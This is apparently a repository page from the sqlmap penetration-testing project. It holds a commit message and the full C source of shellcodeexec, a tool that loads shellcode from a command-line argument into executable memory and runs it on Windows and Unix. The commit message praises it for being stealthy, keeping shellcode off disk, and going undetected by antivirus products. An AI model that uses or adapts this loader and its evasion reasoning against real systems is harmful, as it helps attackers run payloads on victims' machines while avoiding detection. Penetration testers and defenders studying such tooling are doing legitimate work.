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https://github.com/sqlmapproject/sqlmap.git
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e35f25b2cb
* It is stealthier as the shellcode itself does not touch the filesystem, it's an argument passed to shellcodeexec at runtime. * shellcodeexec is not (yet) recognized as malicious by any (Avast excluded) AV product. * shellcodeexec binary size is significantly smaller than a Metasploit payload stager (even when packed with UPX). * UPX now is not needed anymore, so sqlmap package is also way smaller and less likely to be detected itself as malicious by your AV software. shellcodeexec source code, compilation files and binaries are in extra/shellcodeexec/ folder now - copied over from https://github.com/inquisb/shellcodeexec. Minor code refactoring.
139 lines
3.0 KiB
C
139 lines
3.0 KiB
C
/*
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shellcodeexec - Script to execute in memory a sequence of opcodes
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Copyright (C) 2011 Bernardo Damele A. G.
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web: http://bernardodamele.blogspot.com
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email: bernardo.damele@gmail.com
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This source code is free software; you can redistribute it and/or
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modify it under the terms of the GNU Lesser General Public
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License as published by the Free Software Foundation; either
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version 2.1 of the License, or (at your option) any later version.
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This library is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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Lesser General Public License for more details.
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You should have received a copy of the GNU Lesser General Public
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License along with this library; if not, write to the Free Software
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Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*/
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#include <sys/types.h>
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#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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#include <time.h>
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#include <ctype.h>
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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#include <windows.h>
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DWORD WINAPI exec_payload(LPVOID lpParameter);
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#else
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#include <sys/mman.h>
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#include <sys/wait.h>
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#include <unistd.h>
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#endif
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int sys_bineval(char *argv);
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int main(int argc, char *argv[])
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{
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if (argc < 2) {
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printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
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exit(-1);
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}
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sys_bineval(argv[1]);
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exit(0);
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}
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int sys_bineval(char *argv)
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{
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size_t len;
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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int pID;
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char *code;
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#else
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int *addr;
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size_t page_size;
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pid_t pID;
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#endif
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len = (size_t)strlen(argv);
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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// allocate a +rwx memory page
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code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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// copy over the shellcode
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strncpy(code, argv, len);
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// execute it by ASM code defined in exec_payload function
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WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
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#else
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pID = fork();
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if(pID<0)
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return 1;
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if(pID==0)
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{
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page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
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page_size = (len+page_size) & ~(page_size); // align to page boundary
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// mmap an +rwx memory page
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addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0);
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if (addr == MAP_FAILED)
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return 1;
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// copy over the shellcode
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strncpy((char *)addr, argv, len);
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// execute it
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((void (*)(void))addr)();
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}
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if(pID>0)
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waitpid(pID, 0, WNOHANG);
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#endif
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return 0;
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}
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#if defined(_WIN64)
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void __exec_payload(LPVOID);
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DWORD WINAPI exec_payload(LPVOID lpParameter)
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{
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__try
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{
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__exec_payload(lpParameter);
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}
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__except(EXCEPTION_EXECUTE_HANDLER)
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{
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}
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return 0;
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}
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#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
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DWORD WINAPI exec_payload(LPVOID lpParameter)
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{
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__try
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{
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__asm
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{
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mov eax, [lpParameter]
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call eax
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}
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}
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__except(EXCEPTION_EXECUTE_HANDLER)
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{
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}
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return 0;
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}
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#endif
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